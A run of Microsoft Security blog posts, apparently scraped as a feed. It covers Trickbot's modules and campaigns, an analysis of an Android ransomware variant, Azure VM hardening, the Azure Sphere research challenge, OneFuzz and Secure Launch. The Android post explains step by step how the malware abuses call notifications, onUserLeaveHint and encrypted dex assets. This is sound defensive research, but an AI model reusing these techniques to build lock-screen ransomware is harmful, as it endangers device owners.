mailsearcher Searches all files on disk and compares their extensions to a predefined list to harvest emails addresses
outlookDll Gather Outlook credentials
psfin Gathers point of sale (POS) software credentials
squlDll Gathers email addresses stored in SQL servers
aDll Runs various commands on a Windows domain controller to steal Active Directory credentials

Trickbot sends information like domain names and IP ranges of compromised networks back to operators, who then select some of these networks for additional exploitation and reconnaissance activities. On selected networks, Trickbot operators installed additional tools like Cobalt Strike, and switch to a hands-on-keyboard attacks. Once the operators gain foothold on a network, they used tools like Mimikatz and LaZagne to steal additional credentials and tools like BloodHound and ADFind to perform reconnaissance actions. Apart from using the stolen credentials and collected data to further the attack, operators also exfiltrated data. They then leave multiple persistence points on the network to enable the eventual delivery of other payloads like Ryuk ransomware.

While much has been made of the Trickbot’s supposed antivirus evasion capabilities, it’s a simple PowerShell command being run to turn off Microsoft Defender Antivirus, but it can perform this action only if the user has administrative rights.

Recent prominent Trickbot campaigns

In June 2020, we tracked multiple Trickbot campaigns. As is typical with Trickbot, some of the email campaigns took advantage of current events as lures to entice users to click on malicious attachments. These lures include Black Lives Matter and COVID-19. Earlier in the year, we reported that Trickbot was the most prolific malware operation using COVID-19-themed lures. Many other simultaneous campaigns used more generic lures, such as shipping and logistics, invoicing and payments, customer complaints, and various financial lures.

The email body was often simple but maintained consistency with the lure used in the subject line. The emails used a wide range of attachment types, including:

  • Word macro attachments
  • Excel VBA macro attachments
  • Excel 4.0 macro attachments
  • Java Network Launch Protocol (.jnlp) attachments

Some campaigns do away with the attachments and instead use malicious links to websites that host malicious files.

The sender infrastructure for all these emails varied as well. In most campaigns, operators used compromised legitimate email accounts and compromised marketing platforms to distribute the malicious emails. However, in one instance, the operators registered several domains using less popular top-level domains (TLDs) such as “.monster” and “.us” to create their own mail server and send malicious emails from attacker-defined email addresses. At least one of these campaigns used attacker-owned email sender infrastructure that was later used to deliver Dridex malware in a separate campaign. The Dridex malware is known to be associated with the CHIMBORAZO (also known as TA505) crime group. Additionally, CHIMBORAZO ran simultaneous campaigns that delivered Trickbot.

The following graphic illustrates the various campaigns, tactics, and techniques used by the operators. The complexity of these simultaneous campaigns and techniques indicates that this is a coordinated and professional effort conducted by a sophisticated activity group.

Extended detection and response for the full range of threats

The action against Trickbot is one of the ways in which Microsoft provide real-world protection against threats. This action will result in protection for a wide range of organizations, including financial services institutions, government, healthcare, and other verticals from malware and human-operated campaigns delivered via the Trickbot infrastructure.

In the recently released Microsoft Digital Defense Report, we called out that cybercriminals of all skill sets take advantage of the perception that commodity threats are less impactful to businesses. Trickbot is proof that this assumption is obsolete, and organizations need to treat and address Trickbot and other malware infections as the broadly damaging threats that they are.

To help protect customers from the full range of threats, from common malware to highly modular, multi-stage threats like Trickbot, as well as nation-state level attacks, Microsoft 365 Defender delivers coordinated protection for identities, endpoints, cloud apps, email and documents. Microsoft Defender for Office 365 detects malicious attachments and links in email campaigns. Microsoft Defender for Endpoint detects and blocks the Trickbot malware and all related components, as well as malicious activities on endpoints. Microsoft Defender for Identity identifies and detects suspicious user activities and compromised identities.

This breadth of cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively detect and resolve attack chains. Security operations teams can then use the rich set of tools in Microsoft 365 Defender to further hunt for threats and gain insights for hardening networks from compromise.

 

 

Microsoft 365 Defender Threat Intelligence Team

Microsoft 365 Defender Research Team

Digital Crimes Unit (DCU)

Detection and Response Team (DART)

 

The post Trickbot disrupted appeared first on Microsoft Security.

Sophisticated new Android malware marks the latest evolution of mobile ransomware

October 8th, 2020 No comments

Attackers are persistent and motivated to continuously evolve – and no platform is immune. That is why Microsoft has been working to extend its industry-leading endpoint protection capabilities beyond Windows. The addition of mobile threat defense into these capabilities means that Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection) now delivers protection on all major platforms.

Microsoft’s mobile threat defense capabilities further enrich the visibility that organizations have on threats in their networks, as well as provide more tools to detect and respond to threats across domains and across platforms. Like all of Microsoft’s security solutions, these new capabilities are likewise backed by a global network of threat researchers and security experts whose deep understanding of the threat landscape guide the continuous innovation of security features and ensure that customers are protected from ever-evolving threats.

For example, we found a piece of a particularly sophisticated Android ransomware with novel techniques and behavior, exemplifying the rapid evolution of mobile threats that we have also observed on other platforms. The mobile ransomware is the latest variant of a ransomware family that’s been in the wild for a while but has been evolving non-stop. This ransomware family is known for being hosted on arbitrary websites and circulated on online forums using various social engineering lures, including masquerading as popular apps, cracked games, or video players. The new variant caught our attention because it’s an advanced malware with unmistakable malicious characteristic and behavior and yet manages to evade many available protections, registering a low detection rate against security solutions.

As with most Android ransomware, this new threat doesn’t actually block access to files by encrypting them. Instead, it blocks access to devices by displaying a screen that appears over every other window, such that the user can’t do anything else. The said screen is the ransom note, which contains threats and instructions to pay the ransom.

Screenshot of mobile ransom note in Russian language

Figure 1. Sample ransom note used by older ransomware variants

What’s innovative about this ransomware is how it displays its ransom note. In this blog, we’ll detail the innovative ways in which this ransomware surfaces its ransom note using Android features we haven’t seen leveraged by malware before, as well as incorporating an open-source machine learning module designed for context-aware cropping of its ransom note.

New scheme, same goal

In the past, Android ransomware used a special permission called “SYSTEM_ALERT_WINDOW” to display their ransom note. Apps that have this permission can draw a window that belongs to the system group and can’t be dismissed. No matter what button is pressed, the window stays on top of all other windows. The notification was intended to be used for system alerts or errors, but Android threats misused it to force the attacker-controlled UI to fully occupy the screen, blocking access to the device. Attackers create this scenario to persuade users to pay the ransom so they can gain back access to the device.

To catch these threats, security solutions used heuristics that focused on detecting this behavior. Google later implemented platform-level changes that practically eliminated this attack surface. These changes include:

  1. Removing the SYSTEM_ALERT_WINDOW error and alert window types, and introducing a few other types as replacement
  2. Elevating the permission status of SYSTEM_ALERT_WINDOW to special permission by putting it into the “above dangerous” category, which means that users have to go through many screens to approve apps that ask for permission, instead of just one click
  3. Introducing an overlay kill switch on Android 8.0 and later that users can activate anytime to deactivate a system alert window

To adapt, Android malware evolved to misusing other features, but these aren’t as effective. For example, some strains of ransomware abuse accessibility features, a method that could easily alarm users because accessibility is a special permission that requires users to go through several screens and accept a warning that the app will be able to monitor activity via accessibility services. Other ransomware families use infinite loops of drawing non-system windows, but in between drawing and redrawing, it’s possible for users to go to settings and uninstall the offending app.

The new Android ransomware variant overcomes these barriers by evolving further than any Android malware we’ve seen before. To surface its ransom note, it uses a series of techniques that take advantage of the following components on Android:

  1. The “call” notification, among several categories of notifications that Android supports, which requires immediate user attention.
  2. The “onUserLeaveHint()” callback method of the Android Activity (i.e., the typical GUI screen the user sees) is called as part of the activity lifecycle when the activity is about to go into the background as a result of user choice, for example, when the user presses the Home key.

The malware connects the dots and uses these two components to create a special type of notification that triggers the ransom screen via the callback.

Screenshot of malware code

Figure 2. The notification with full intent and set as “call’ category

As the code snippet shows, the malware creates a notification builder and then does the following:

  1. setCategory(“call”) – This means that the notification is built as a very important notification that needs special privilege.
  2. setFullScreenIntent() – This API wires the notification to a GUI so that it pops up when the user taps on it. At this stage, half the job is done for the malware. However, the malware wouldn’t want to depend on user interaction to trigger the ransomware screen, so, it adds another functionality of Android callback:

Figure 3. The malware overriding onUserLeaveHint

As the code snippet shows, the malware overrides the onUserLeaveHint() callback function of Activity class. The function onUserLeaveHint() is called whenever the malware screen is pushed to background, causing the in-call Activity to be automatically brought to the foreground. Recall that the malware hooked the RansomActivity intent with the notification that was created as a “call” type notification. This creates a chain of events that triggers the automatic pop-up of the ransomware screen without doing infinite redraw or posing as system window.

Machine learning module indicates continuous evolution

As mentioned, this ransomware is the latest variant of a malware family that has undergone several stages of evolution. The knowledge graph below shows the various techniques this ransomware family has been seen using, including abusing the system alert window, abusing accessibility features, and, more recently, abusing notification services.

Knowledge graph showing techniques used by the Android rasomware family

Figure 4. Knowledge graph of techniques used by ransomware family

This ransomware family’s long history tells us that its evolution is far from over. We expect it to churn out new variants with even more sophisticated techniques. In fact, recent variants contain code forked from an open-source machine learning module used by developers to automatically resize and crop images based on screen size, a valuable function given the variety of Android devices.

The frozen TinyML model is useful for making sure images fit the screen without distortion. In the case of this ransomware, using the model would ensure that its ransom note—typically fake police notice or explicit images supposedly found on the device—would appear less contrived and more believable, increasing the chances of the user paying for the ransom.

The library that uses tinyML is not yet wired to the malware’s functionalities, but its presence in the malware code indicates the intention to do so in future variants. We will continue to monitor this ransomware family to ensure customers are protected and to share our findings and insights to the community for broad protection against these evolving mobile threats.

Protecting organizations from threats across domains and platforms

Mobile threats continue to rapidly evolve, with attackers continuously attempting to sidestep technological barriers and creatively find ways to accomplish their goal, whether financial gain or finding an entry point to broader network compromise.

This new mobile ransomware variant is an important discovery because the malware exhibits behaviors that have not been seen before and could open doors for other malware to follow. It reinforces the need for comprehensive defense powered by broad visibility into attack surfaces as well as domain experts who track the threat landscape and uncover notable threats that might be hiding amidst massive threat data and signals.

Microsoft Defender for Endpoint on Android, now generally available, extends Microsoft’s industry-leading endpoint protection to Android. It detects this ransomware (AndroidOS/MalLocker.B), as well as other malicious apps and malicious apps and files using cloud-based protection powered by deep learning and heuristics, in addition to content-based detection. It also protects users and organizations from other mobile threats, such as mobile phishing, unsafe network connections, and unauthorized access to sensitive data. Learn more about our mobile threat defense capabilities in Microsoft Defender for Endpoint on Android.

Malware, phishing, and other threats detected by Microsoft Defender for Endpoint are reported to the Microsoft Defender Security Center, allowing SecOps to investigate mobile threats along with endpoint signals from Windows and other platforms using Microsoft Defender for Endpoint’s rich set of tools for detection, investigation, and response.

Threat data from endpoints are combined with signals from email and data, identities, and apps in Microsoft 365 Defender (previously Microsoft Threat Protection), which orchestrates detection, prevention, investigation, and response across domains, providing coordinated defense. Microsoft Defender for Endpoint on Android further enriches organizations’ visibility into malicious activity, empowering them to comprehensively prevent, detect, and respond to against attack sprawl and cross-domain incidents.

Technical analysis

Obfuscation

On top of recreating ransomware behavior in ways we haven’t seen before, the Android malware variant uses a new obfuscation technique unique to the Android platform. One of the tell-tale signs of an obfuscated malware is the absence of code that defines the classes declared in the manifest file.

Malware code showing manifest file

Figure 5. Manifest file

The classes.dex has implementation for only two classes:

  1. The main application class gCHotRrgEruDv, which is involved when the application opens
  2. A helper class that has definition for custom encryption and decryption

This means that there’s no code corresponding to the services declared in the manifest file: Main Activity, Broadcast Receivers, and Background. How does the malware work without code for these key components? As is characteristic for obfuscated threats, the malware has encrypted binary code stored in the Assets folder:

Screenshot of Assets folder with encrypted executable code

Figure 6. Encrypted executable code in Assets folder

When the malware runs for the first time, the static block of the main class is run. The code is heavily obfuscated and made unreadable through name mangling and use of meaningless variable names:

Figure 7. Static block

Decryption with a twist

The malware uses an interesting decryption routine: the string values passed to the decryption function do not correspond to the decrypted value, they correspond to junk code to simply hinder analysis.

On Android, an Intent is a software mechanism that allows users to coordinate the functions of different Activities to achieve a task. It’s a messaging object that can be used to request an action from another app component.

The Intent object carries a string value as “action” parameter. The malware creates an Intent inside the decryption function using the string value passed as the name for the Intent. It then decrypts a hardcoded encrypted value and sets the “action” parameter of the Intent using the setAction API. Once this Intent object is generated with the action value pointing to the decrypted content, the decryption function returns the Intent object to the callee. The callee then invokes the getAction method to get the decrypted content.

Figure 8. Decryption function using the Intent object to pass the decrypted value

Payload deployment

Once the static block execution is complete, the Android Lifecycle callback transfers the control to the OnCreate method of the main class.

Malware code showing onCreate method

Figure 9. onCreate method of the main class decrypting the payload

Next, the malware-defined function decryptAssetToDex (a meaningful name we assigned during analysis) receives the string “CuffGmrQRT” as the first argument, which is the name of the encrypted file stored in the Assets folder.

Malware code showing decryption of assets

Figure 10. Decrypting the assets

After being decrypted, the asset turns into the .dex file. This is a notable behavior that is characteristic of this ransomware family.

Comparison of code of Asset file before and after decryption

Figure 11. Asset file before and after decryption

Once the encrypted executable is decrypted and dropped in the storage, the malware has the definitions for all the components it declared in the manifest file. It then starts the final detonator function to load the dropped .dex file into memory and triggers the main payload.

Malware code showing loading of decrypted dex file

Figure 12. Loading the decrypted .dex file into memory and triggering the main payload

Main payload

When the main payload is loaded into memory, the initial detonator hands over the control to the main payload by invoking the method XoqF (which we renamed to triggerInfection during analysis) from the gvmthHtyN class (renamed to PayloadEntry).

Malware code showing handover from initial module to main payload

Figure 13. Handover from initial module to the main payload

As mentioned, the initial handover component called triggerInfection with an instance of appObj and a method that returns the value for the variable config.

Malware code showing definition of populateConfigMap

Figure 14. Definition of populateConfigMap, which loads the map with values

Correlating the last two steps, one can observe that the malware payload receives the configuration for the following properties:

  1. number – The default number to be send to the server (in case the number is not available from the device)
  2. api – The API key
  3. url – The URL to be used in WebView to display on the ransom note

The malware saves this configuration to the shared preferences of the app data and then it sets up all the Broadcast Receivers. This action registers code components to get notified when certain system events happen. This is done in the function initComponents.

Malware code showing initializing broadcast receiver

Figure 15. Initializing the BroadcastReceiver against system events

From this point on, the malware execution is driven by callback functions that are triggered on system events like connectivity change, unlocking the phone, elapsed time interval, and others.

 

Dinesh Venkatesan

Microsoft Defender Research

 

The post Sophisticated new Android malware marks the latest evolution of mobile ransomware appeared first on Microsoft Security.

Best practices for defending Azure Virtual Machines

October 7th, 2020 No comments

One of the things that our Detection and Response Team (DART) and Customer Service and Support (CSS) security teams see frequently during investigation of customer incidents are attacks on virtual machines from the internet.

This is one area in the cloud security shared responsibility model where customer tenants are responsible for security. Security is a shared responsibility between Microsoft and the customer and as soon as you put just one virtual machine on Azure or any cloud you need to ensure you apply the right security controls.

The diagram below illustrates the layers of security responsibilities:

Image of the shared responsibility model showing customer, service, and cloud responsibilities

Fortunately, with Azure, we have a set of best practices that are designed to help protect your workloads including virtual machines to keep them safe from constantly evolving threats. This blog will share the most important security best practices to help protect your virtual machines.

The areas of the shared responsibility model we will touch on in this blog are as follows:

  • Tools
  • Identity and directory infrastructure
  • Applications
  • Network Controls
  • Operating System

We will refer to the Azure Security Top 10 best practices as applicable for each:

Best practices

1. Use Azure Secure Score in Azure Security Center as your guide

Secure Score within Azure Security Center is a numeric view of your security posture. If it is at 100 percent, you are following best practices. Otherwise, work on the highest priority items to improve the current security posture. Many of the recommendations below are included in Azure Secure Score.

2. Isolate management ports on virtual machines from the Internet and open them only when required

The Remote Desktop Protocol (RDP) is a remote access solution that is very popular with Windows administrators. Because of its popularity, it’s a very attractive target for threat actors. Do not be fooled into thinking that changing the default port for RDP serves any real purpose. Attackers are always scanning the entire range of ports, and it is trivial to figure out that you changed from 3389 to 4389, for example.

If you are already allowing RDP access to your Azure VMs from the internet, you should check the configuration of your Network Security Groups. Find any rule that is publishing RDP and look to see if the Source IP Address is a wildcard (*). If that is the case, you should be concerned, and it’s quite possible that the VM could be under brute force attack right now.

It is relatively easy to determine if your VMs are under a brute force attack, and there are at least two methods we will discuss below:

  • Azure Defender (formerly Azure Security Center Standard) will alert you if your VM is under a brute force attack.
  • If you are not using Security Center Standard tier open the Windows Event Viewer and find the Windows Security Event Log. Filter for Event ID 4625 (an account failed to log on). If you see many such events occurring in quick succession (seconds or minutes apart), then it means you are under brute force attack.

Other commonly attacked ports would include: SSH (22), FTP (21), Telnet (23), HTTP (80), HTTPS (443), SQL (1433), LDAP 389. This is just a partial list of commonly published ports. You should always be cautious about allowing inbound network traffic from unlimited source IP address ranges unless it is necessary for the business needs of that machine.

A couple of methods for managing inbound access to Azure VMs:

Just-in-time will allow you to reduce your attack service while also allowing legitimate users to access virtual machines when necessary.

Network security groups contain rules that allow or deny traffic inbound to, or outbound traffic from several types of Azure resources including VMs. There are limits to the number of rules and they can become difficult to manage if many users from various network locations need to access your VMs.

For more information, see this top Azure Security Best Practice:

3. Use complexity for passwords and user account names

If you are required to allow inbound traffic to your VMs for business reasons, this next area is of critical importance. Do you have complete confidence that any user account that would be allowed to access this machine is using a complex username/password combination? What if this VM is also domain joined? It’s one thing to worry about local accounts, but now you must worry about any account in the domain that would have the right to log on to that Virtual Machine.

For more information, see this top Azure Security Best Practice:

4. Keep the operating system patched

Vulnerabilities of the operating system are particularly worrisome when they are also combined with a port and service that is more likely to be published. A good example is the recent vulnerabilities affecting the Remote Desktop Protocol called “BlueKeep.” A consistent patch management strategy will go a long way towards improving your overall security posture.

5. Keep third-party applications current and patched

Applications are another often overlooked area, especially third-party applications installed on your Azure VMs. Whenever possible use the most current version available and patch for any known vulnerabilities. An example is an IIS Server using a third-party Content Management Systems (CMS) application with known vulnerabilities. A quick search of the Internet for CMS vulnerabilities will reveal many that are exploitable.

For more information, see this top Azure Security Best Practice:

6. Actively monitor for threats

Utilize the Azure Security Center Standard tier to ensure you are actively monitoring for threats. Security Center uses machine learning to analyze signals across Microsoft systems and services to alert you to threats to your environment. One such example is remote desktop protocol (RDP) brute-force attacks.

For more information, see this top Azure Security Best Practice:

7. Azure Backup Service

In addition to turning on security, it’s always a good idea to have a backup. Mistakes happen and unless you tell Azure to backup your virtual machine there isn’t an automatic backup. Fortunately, it’s just a few clicks to turn on.

Next steps

Equipped with the knowledge contained in this article, we believe you will be less likely to experience a compromised VM in Azure. Security is most effective when you use a layered (defense in depth) approach and do not rely on one method to completely protect your environment. Azure has many different solutions available that can help you apply this layered approach.

If you found this information helpful, please drop us a note at csssecblog@microsoft.com.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Best practices for defending Azure Virtual Machines appeared first on Microsoft Security.

Why we invite security researchers to hack Azure Sphere

October 6th, 2020 No comments

Fighting the security battle so our customers don’t have to

IoT devices are becoming more prevalent in almost every aspect of our lives—we will rely on them in our homes, our businesses, as well as our infrastructure. In February, Microsoft announced the general availability of Azure Sphere, an integrated security solution for IoT devices and equipment. General availability means that we are ready to provide OEMs and organizations with quick and cost-effective device security at scale. However, securing those devices does not stop once we put them into the hands of our customers. It is only the start of a continual battle between the attackers and the defenders.

Building a solution that customers can trust requires investments before and after deployment by complementing up-front technical measures with ongoing practices to find and mitigate risks. In April, we highlighted Azure Sphere’s approach to risk management and why securing IoT is not a one-and-done. Products improve over time, but so do hackers, as well as their skills and tools. New security threats continue to evolve, and hackers invent new ways to attack devices. So, what does it take to stay ahead?

As a Microsoft security product team, we believe in finding and fixing vulnerabilities before the bad guys do. While Azure Sphere continuously invests in code improvements, fuzzing, and other processes of quality control, it often requires the creative mindset of an attacker to expose a potential weakness that otherwise might be missed. Better than trying to think like a hacker is working with them. This is why we operate an ongoing program of red team exercises with security researchers and the hacker community: to benefit from their unique expertise and skill set. That includes being able to test our security promise not just against yesterday’s and today’s, but against even tomorrow’s attacks on IoT devices before they become known more broadly. Our recent Azure Sphere Security Research Challenge, which concluded on August 31, is a reflection of this commitment.

Partnering with MSRC to design a unique challenge

Our goal with the three-month Azure Sphere Security Research Challenge was twofold: to drive new high-impact security research, and to validate Azure Sphere’s security promise against the best challengers in their field. To do so, we partnered with the Microsoft Security Response Center (MSRC) and invited some of the world’s best researchers and security vendors to try to break our device by using the same kinds of attacks as any malicious actor might. To make sure participants had everything they needed to be successful, we provided each researcher with a dev kit, a direct line to our OS Security Engineering Team, access to weekly office hours, and email support in addition to our publicly available operating system kernel source code.

Our goal was to focus the research on the highest impact on customer security, which is why we provided six research scenarios with additional rewards of up to 20 percent on top of the Azure Bounty (up to $40,000), as well as $100,000 for two high-priority scenarios proving the ability to execute code in Microsoft Pluton or in Secure World. We received more than 3,500 applications, which is a testament to the strong interest of the research community in securing IoT. More information on the design of the challenge and our collaboration with MSRC can be found here on their blog post.

Researchers identify high impact vulnerabilities before hackers

The quality of submissions from participants in the challenge far exceeded our expectations. Several participants helped us find multiple potentially high impact vulnerabilities in Azure Sphere. The quality is a testament to the expertise, determination, and the diligence of the participants. Over the course of the challenge, we received a total of 40 submissions, of which 30 led to improvements in our product. Sixteen were bounty-eligible; adding up to a total of $374,300 in bounties awarded. The other 10 submissions identified known areas where potential risk is specifically mitigated in another part of the system—something often referred to in the field as “by design.” The high ratio of valid submissions to total submissions speaks to the extremely high quality of the research demonstrated by the participants.

Graph showing the submission breakdown and the total amount of money eligible to be received through the bounty system.

Jewell Seay, Azure Sphere Operating System Platform Security Lead, has shared detailed information of many of the cases in three recent blog posts describing the security improvements delivered in our 20.07, 20.08, and 20.09 releases. Cisco Talos and McAfee Advanced Threat Research (ATR), in particular, found several important vulnerabilities, and one particular attack chain is highlighted in Jewell’s 20.07 blog.

While the described attack required physical access to a device and could not be executed remotely, it exposed potential weaknesses spanning both cloud and device components of our product. The attack included a potential zero-day exploit in the Linux kernel to escape root privileges. The vulnerability was reported to the Linux kernel security team, leading to a fix for the larger open source community which was shared with the Linux community. If you would like to learn more and get an inside view of the challenge from one of our research partners, we highly recommend McAfee ATR’s blog post.

What it takes to provide renewable and improving security

With Azure Sphere, we provide our customers with a robust defense based on the Seven Properties of Highly Secured Devices. One of the properties, renewable security, ensures that a device can update to a more secure state—even if it has been compromised. While this is essential, it is not sufficient on its own. An organization must be equipped with the resources, people, and processes that allow for a quick resolution before vulnerabilities impact customers. Azure Sphere customers know that they have the strong commitment of our Azure Sphere Engineering team—that our team is searching for and addressing potential vulnerabilities, even from the most recently invented attack techniques.

We take this commitment to heart, as evidenced by all the fixes that went into our 20.07, 20.08, and 20.09 releases. In less than 30 days of McAfee reporting the attack chain to us, we shipped a fix to all of our customers, without the need for them to take any action due to how Azure Sphere manages updates. Although we received a high number of submissions throughout multiple release cycles, we prioritized analyzing every single report as soon as we received it. The success of our challenge should not just be measured by the number and quality of the reports, but also by how quickly reported vulnerabilities were fixed in the product. When it came to fixing the found vulnerabilities, there was no distinction made between the ones that were proven to be exploited or the ones that were only theoretical. Attackers get creative, and hope is not part of our risk assessment or our commitment to our customers.

Our engagement with the security research community

On behalf of the entire team and our customers, we would like to thank all participants for their help in making Azure Sphere more secure! We were genuinely impressed by the quality and number of high impact vulnerabilities that they found. In addition, we would also like to thank the MSRC team for partnering with us on this challenge.

Our goal is to continue to engage with this community on behalf of our customers going forward, and we will continue to review every potential vulnerability report for Azure Sphere for eligibility under the Azure Bounty Program awards.

Our team learned a lot throughout this challenge, and we will explore and announce additional opportunities to collaborate with the security research community in the future. Protecting our platform and the devices our customers build and deploy on it is a key priority for us. Working with the best security researchers in the field, we will continue to invest in finding potential vulnerabilities before the bad guys do—so you don’t have to!

If you are interested in learning more about how Azure Sphere can help you securely unlock your next IoT innovation:

The post Why we invite security researchers to hack Azure Sphere appeared first on Microsoft Security.

Microsoft announces new Project OneFuzz framework, an open source developer tool to find and fix bugs at scale

September 15th, 2020 No comments

Microsoft is dedicated to working with the community and our customers to continuously improve and tune our platform and products to help defend against the dynamic and sophisticated threat landscape. Earlier this year, we announced that we would replace the existing software testing experience known as Microsoft Security and Risk Detection with an automated, open-source tool as the industry moved toward this model. Today, we’re excited to release this new tool called Project OneFuzz, an extensible fuzz testing framework for Azure. Available through GitHub as an open-source tool, the testing framework used by Microsoft Edge, Windows, and teams across Microsoft is now available to developers around the world.

Fuzz testing is a highly effective method for increasing the security and reliability of native code—it is the gold standard for finding and removing costly, exploitable security flaws. Traditionally, fuzz testing has been a double-edged sword for developers: mandated by the software-development lifecycle, highly effective in finding actionable flaws, yet very complicated to harness, execute, and extract information from. That complexity required dedicated security engineering teams to build and operate fuzz testing capabilities making it very useful but expensive. Enabling developers to perform fuzz testing shifts the discovery of vulnerabilities to earlier in the development lifecycle and simultaneously frees security engineering teams to pursue proactive work.

Microsoft’s goal of enabling developers to easily and continuously fuzz test their code prior to release is core to our mission of empowerment. The global release of Project OneFuzz is intended to help harden the platforms and tools that power our daily work and personal lives to make an attacker’s job more difficult.

Recent advancements in the compiler world, open-sourced in LLVM and pioneered by Google, have transformed the security engineering tasks involved in fuzz testing native code. What was once attached—at great expense—can now be baked into continuous build systems through:

  • Crash detection, once attached via tools such as Electric Fence, can be baked in with asan.
  • Coverage tracking, once attached via tools such as iDNA, Dynamo Rio, and Pin can be baked in with sancov.
  • Input harnessing, once accomplished via custom I/O harnesses, can be baked in with libfuzzer’s LLVMFuzzerTestOneInput function prototype.

These advances allow developers to create unit test binaries with a modern fuzzing lab compiled in: highly reliable test invocation, input generation, coverage, and error detection in a single executable. Experimental support for these features is growing in Microsoft’s Visual Studio. Once these test binaries can be built by a compiler, today’s developers are left with the challenge of building them into a CI/CD pipeline and scaling fuzzing workloads in the cloud.

Project OneFuzz has already enabled continuous developer-driven fuzzing of Windows that has allowed Microsoft to proactively harden the Windows platform prior to shipment of the latest OS builds. With a single command line (baked into the build system!) developers can launch fuzz jobs ranging in size from a few virtual machines to thousands of cores. Project OneFuzz enables:

  • Composable fuzzing workflows: Open source allows users to onboard their own fuzzers, swap instrumentation, and manage seed inputs.
  • Built-in ensemble fuzzing: By default, fuzzers work as a team to share strengths, swapping inputs of interest between fuzzing technologies.
  • Programmatic triage and result deduplication: It provides unique flaw cases that always reproduce.
  • On-demand live-debugging of found crashes: It lets you summon a live debugging session on-demand or from your build system.
  • Observable and Debug-able: Transparent design allows introspection into every stage.
  • Fuzz on Windows and Linux OSes: Multi-platform by design. Fuzz using your own OS build, kernel, or nested hypervisor.
  • Crash reporting notification callbacks: Currently supporting Azure DevOps Work Items and Microsoft Teams messages

Project OneFuzz is available now on GitHub under an MIT license. It is updated by contributions from Microsoft Research & Security Groups across Windows and by more teams as we grow our partnership and expand fuzzing coverage across the company to continuously improve the security of all Microsoft platforms and products. Microsoft will continue to maintain and expand Project OneFuzz, releasing updates to the open-source community as they occur. Contributions from the community are welcomed. Share questions, comments, and feedback with us: fuzzing@microsoft.com

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Microsoft announces new Project OneFuzz framework, an open source developer tool to find and fix bugs at scale appeared first on Microsoft Security.

Force firmware code to be measured and attested by Secure Launch on Windows 10

September 1st, 2020 No comments

You cannot build something great on a weak foundation – and security is no exception.

Windows is filled with important security features like Hypervisor-protected code integrity (HVCI) and Windows Defender Credential Guard that protect users from advanced hardware and firmware attacks. For these features to properly do their jobs, the platform’s firmware and hardware must be trustworthy and healthy, otherwise the chain of trust that verifies the integrity of the system by validating that every component in the boot process is cryptographically signed by a trusted source could be tampered with maliciously, thereby compromising the security of operating system features that use the firmware and hardware as a fundamental building block.

Without these detection and prevention capabilities, the system won’t be able to detect and block malicious software that runs before the operating system initialized, or during the boot process itself. The malicious software could then grant itself elevated privileges, expand foothold, and persist on the system undetected. In the case of Secured-core PCs, Secure Launch, which leverages the principle of Dynamic Root of Trust for Measurement (DRTM), is a technology that is built-in and enabled by default to greatly increase protection from these sophisticated boot attacks. By leveraging built-in silicon instructions or firmware enclaves, Secure Launch allows a system to freely boot untrusted code initially, but shortly after launches the system into a trusted state by taking control of the CPUs and forcing any untrusted code down a well-known and measured code path to verify it isn’t malicious. This removes early Unified Extensible Firmware Interface (UEFI) code from the trust boundary, meaning systems are better protected against bugs or exploits in UEFI after the Secure Launch, combating an entire class of threat.

For some time, Windows devices have been able to leverage a hardware-based root of trust to help ensure unauthorized firmware or software does not take root before the Windows bootloader launches. This root of trust comes from a UEFI feature called Secure Boot. Secure Boot leverages a Trusted Platform Module (TPM) to take cryptographic measurements of each piece of firmware or software during the early boot process. This technique of measuring these static early boot UEFI components is called the Static Root of Trust for Measurement (SRTM).

As there are thousands of PC vendors that produce numerous models with different UEFI BIOS versions, there becomes an incredibly large number of SRTM measurements at startup. There are two techniques that can be used to establish trust here —either maintain a list of known ‘bad’ SRTM measurements (a block list), or a list of known ‘good’ SRTM measurements (an allow list). Each option has a drawback:

  1. A list of known ‘bad’ SRTM measurements allows a hacker to change just 1 bit in a component to create an entirely new SRTM hash that needs to be listed. This means that the SRTM flow is inherently brittle – a minor change can invalidate the chain of trust.
  2. A list of known ‘good’ SRTM measurements requires each new BIOS/PC combination measurement to be carefully added, which can be slow. In addition, a bug fix for UEFI code can take a long time to design, build, retest, validate, and redeploy.

As Windows relies on the Hypervisor being secure, trusted, and unmodified to implement numerous security technologies, it is important to protect it from any potential threats that can arise from these issues. System Guard Secure Launch was designed and introduced in Windows 10 version 1809 to address these drawbacks.

Leveraging a Dynamic Root of Trust to measure code integrity

Secure Launch is the first line of defense against exploits and vulnerabilities that try to take advantage of early-boot flaws or bugs. Firmware enclaves and built-in silicon instructions allow systems to boot into a trusted state by forcing untrusted, exploitable code down a specific and measured path before launching into a trusted state.

To achieve a security boundary between the UEFI/ firmware and later OS code, the Windows boot environment is divided into two phases. The first phase runs with UEFI and leverages boot services that are considered untrusted for Secure Launch, and the second phase is the trusted portion that runs without firmware services after the DRTM event. This trusted phase is referred to as the Trusted Computing Base (TCB) launch phase. The Trusted Computing Base includes the minimally scoped firmware enclave and hardware necessary to perform a DRTM event.

The phase with firmware support utilizes the traditional boot binaries Boot Manager and Winload. In this model, Winload no longer prepares the OS and its data structures but acts to prepare enough data in memory for the TCB phase of the boot environment to be able to operate without firmware. This includes loading all unexpanded binaries needed for the OS in memory, as well as staging other firmware or disk sourced information. All data, binaries, and associated storage structures are validated by the TCB before use.

The TCB phase of the boot environment is started by the new TCB Launch application. This binary is measured into the DRTM TPM registers and starts the chain of trust for the launched OS. TCB Launch ensures the security of the system, and then prepares the OS for execution by loading and validating all binaries as well as building data structures for OS launch.

Although all OS data is sourced from disk by Winload and firmware, the TCB phase validates all signatures and code integrity before use. TCB Launch itself is not directly code integrity checked by this phase, but the root of trust measurement provided by the DRTM event is used to attest the authenticity of the binary. For the TCB phase of boot to continue to be secure, the following state must be verified by the DRTM event and TCB Launch:

  1. Continuous protection against Direct Memory Access (DMA) of TCB Launch and OS memory
  2. Hardware description of RAM is accurate
  3. Security critical hardware description must be validated, such as IOMMU structures
  4. Memory will be cleared upon an unexpected reset from the TCB

